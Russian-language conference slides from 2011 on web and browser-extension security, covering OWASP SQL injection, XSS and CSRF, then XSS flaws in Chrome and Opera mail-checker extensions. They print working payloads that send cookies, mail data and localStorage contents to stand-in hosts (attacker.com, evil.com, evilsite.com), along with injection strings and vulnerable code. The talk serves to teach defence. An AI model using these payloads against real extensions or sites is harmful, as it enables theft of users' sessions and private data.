Безопасность расширений веб-браузеров

Authors: Тарас Иващенко
Contact: http://oxdef.info
Date: CSEDays, Екатеринбург, 15-17 апреля 2011 года

О докладчике

img/mr_evil.jpg

Повестка

Уязвимости веб-приложений

img/holes.png

Архитектура веб-приложения

img/web_architecture.png

Протокол HTTP

HTTP (сокр. от англ. HyperText Transfer Protocol — «протокол передачи гипертекста») — протокол прикладного уровня передачи данных (изначально — в виде гипертекстовых документов). Основой HTTP является технология «клиент-сервер»...

HTTP-запрос

GET /search?hl=ru&source=hp&q=truth HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3)
    Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru,en-us;q=0.7,en;q=0.3
Accept-Charset: UTF-8,*
Referer: http://www.google.ru/
Cookie: SID=D0006oxRF; HSID=AQO0000Sro

HTTP-ответ

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Date: Sun, 06 Jun 2010 17:32:40 GMT
Expires: -1
Content-Type: text/html; charset=UTF-8
Server: gws
Content-Length: 58107

<!doctype html><title>truth - Google Search</title>
...

Проект "OWASP Top 10"

Проект "OWASP Top 10"

A1: SQL-инъекции

Веб-приложение использует без валидации входной параметр id при составлении SQL-запроса:

String query = "SELECT * FROM accounts WHERE custID='"
+ request.getParameter("id") +"'";

Злоумышленник, изменяя этот параметр, может изменять непосредственно SQL-запрос.

http://example.com/app/accountView?id=' or 1'='1

A2: XSS

Веб-приложение использует входные данные без какой-либо обработки при составления HTML-тела результирующего документа:

(String) page += "<input name='creditcard' type='TEXT' value='"
+ request.getParameter("CC") + "'>";

Злоумышленник отправляет ссылку с зловредной нагрузкой жертве:

'><script>document.location='http://www.attacker.com/
cgi-bin/cookie.cgi?foo='+document.cookie</script>

A5: CSRF

Веб-приложение, которое позволяет без какого-либо подтверждения либо спец.токенов выполнять запрос, изменяющий состояние этого веб-приложения

http://example.com/app/transferFunds?amount=1500
&destinationAccount=4673243243

Злоумышленник подготовливает следующий HTML-код и размещает его на посещаемом жертве веб-сайте

<img src="http://example.com/app/transferFunds?amount=1500
&destinationAccount=attackersAcct#" width="0" height="0" />

Google Chrome

img/chrome_logo.jpg

Интро

XSS

Давайте поэкспериментируем над популярным расширением для проверки почты.

img/google_mail_checker_plus.png

Что будет, если злоумышленник пошлёт письмо жертве с темой:

2"'><script src="http://evil.com/own.js"></script>

XSS

Сначала мы увидем оповещение:

img/gmail_checker_xss_notificate.png

XSS

По клику на иконке расширения видим всплывающее окно:

img/gmail_checker_xss.png

Куки

Одна из главных целей для XSS-атак - это сессионные данные в куках. В данном случае нам необходим доступ к спец. API и у расширения должны быть на это права:

{
    "name": "My extension",
    ...
    "permissions": [
    "cookies",
    "*://*.google.com"
    ],
}

Куки

Очевидно риск повышается, когда у расширения слишком много прав. Например, доступ к кукам и большое количество хостов в манифесте:

chrome.cookies.getAll({}, function(cookies) {
    var dump = 'COOKIES: ';
    for (var i in cookies) {
        dump += cookies[i].domain + ':' + cookies[i].name  + ':' + cookies[i].value + ' | ';
    }
    img = new Image();
    img.src = 'http://evil.com/stallowned.jpg?' + dump;
    document.body.appendChild(img);
});

Данные браузера как цель атаки

Похищение контексных данных

С помощью следующей зловредной нагрузки, злоумышленник может утащить информацию о письмах в вашем почтовом ящике:

var dump = '', i=0;
var e = document.getElementsByTagName('a');
while (i < e.length) {
    if (e[i].className == 'openLink') {
        dump += e[i].innerText + ' | ';
    };i++;
}
img = new Image();
img.src = 'http://evil.com/sniff.jpg?' + dump;
document.body.appendChild(img);

Утечка настроек расширения

Для хранения настроек используется механизм веб-хранилищ из HTML5. Там вполне вероятно можно наткнуться на интересные данные:

var dump = ' LOCALSTORAGE: ';
for (i = 0; i < localStorage.length; i++ ) {
    dump += "KEY: " + localStorage.key(i);
    dump += " VALUE: " + localStorage.getItem(localStorage.key(i)) + " | ";
}
img = new Image();
img.src = 'http://evil.com/sniff.jpg?' + dump;
document.body.appendChild(img);

Фишинг

У расширений нет прямого доступа к кукам, но ведь и обычный фишинг никто не отменял!

img/fishing.png

Риски использования JSON

JSON - это легковесный формат для обмена данными, который повсеместно используется в AJAX веб-приложениях

{
    "name": "My First Extension",
    "version": "1.0",
    "description": "The first extension that I made.",
    "permissions": [
        "cookies",
        "http://*/*"
        ]
}

Риски использования JSON

  1. Использование eval() в JavaScript для преобразования входных JSON-данных в объекты
  2. Менее очевидная проблема - похищение JSON(P)-данных.

Для серверной части веб-приложения в общем случае нет разницы от кого пришёл запрос на данные - от расширения или от клиентской части веб-приложения.

Внедряемые скрипты

Внедряемые скрипты

Основные риски:

  1. Плохой внедряемый скрипт может добавить уязвимость на страницу, которой изначально там не было
  2. Плохая страница может сама атаковать расширение через внедряемый скрипт!

Микроформаты

"Плохая" HTML-страница:

<div class="vcard">
   <div class="fn">James Bond</div>
   <div class="org">MI-6</div>
   <div class="tel">604-555-1234</div>
   <a class="url" href="123:<script>d = document.createElement('div');d.innerHTML='<h1>XSS</h1>';document.body.appendChild(d);</script>233">http://example.com/</a>
 </div>

Микроформаты

Когда жертва посетит такую страницу:

img/microformats_xss.png

Казалось бы какой тут риск?

Микроформаты

Это расширение умеет связываться с контакной книгой вашей учётной записи в популярном сервисе, используя протокол OAuth, что бы можно было бы например сразу добавить карточку себе в контакты.

$(".submithcard").click()

А вот такой небольшой код, будет сам добавлять произвольный контакт вам в адресную книгу! И это, не смотря на сильные ограничения внедряемых скриптов!

Выводы

Opera

img/opera_logo.png

Расширения в Опере

Для их разработки используются популярные веб-технологии: HTML, JavaScript и CSS. Обычно расширение включает в себя:

Схема взаимодействия

Для коммуникации между частями расширения используется механизм "междокументных сообщений":

Injected script
<-> Background Process
<-> Button/badge
<-> Popup

XSS

Рассмотрим популярное расширение для проверки почты. Что произойдёт, если злоумышленник отправит жертве письмо с злонамеренной нагрузкой в полях темы, теле сообщения?

img/google_mail_xss.png

Участок уязвимого кода

// Check if there are Messages to display
if(event.data.msg && event.data.msg.length > 0)
{
    // Add every message
    for(var i=0; i < event.data.msg.length; i++)
    {
        ...
        .html("<strong>" + event.data.msg[i].authorname + "</strong> : " + event.data.msg[i].title).click({
            link: event.data.msg[i].link
        }, LoadLink);
        $('#message_box').append(msg);

Цели атаки

Получаем данные

Обычно для получения данных кук в ходе XSS-атаки используется т.н. "снифер". В расширениях использование такого подхода ограничено по умолчанию:

In the default policy, a user agent must deny access to network resources external to the widget by default, whether this access is requested through APIs (e.g. XMLHttpRequest) or through markup (e.g. iframe, script, img).

Контроль доступа

Для того, что бы расширение смогло взаимодействовать "с миром" ему необходимо явным образом запросить такие привелегии. В нашем примере доступ для расширения открыт только для:

...
<!-- Access Policy -->
<access origin="https://mail.google.com"/>
<access origin="https://www.google.com"/>
...

Контроль доступа

Обращаем внимание на особенности:

Обходим контроль доступа

var a = document.createElement('a');
var d = document.getElementById('open');
a.href = "http://evilsite.com/sniff.php?d=...";
a.innerText = 'Open GMail Tab';
d.parentNode.replaceChild(a, d);
img/google_mail_xss2.png

Выводы

Firefox

img/firefox_logo.png

Архитектура

img/firefox_arc.png

(Без)опасность

Итоги

Расширения веб-браузеров бывают разные как и сами веб-браузеры. Одни расширения показывают количество непрочтённых сообщений в вашем любимом социальном сервисе, другие превращают веб-браузер в полноценный RSS-клиент. Так же и уязвимости в этих расширениях могут привести как к небольшой шутке, так и к потере достаточно ценных данных и другим существенным рискам. Будьте осторожны, устанавливайте вовремя обновления безопасности! ;)

Спасибо за внимание!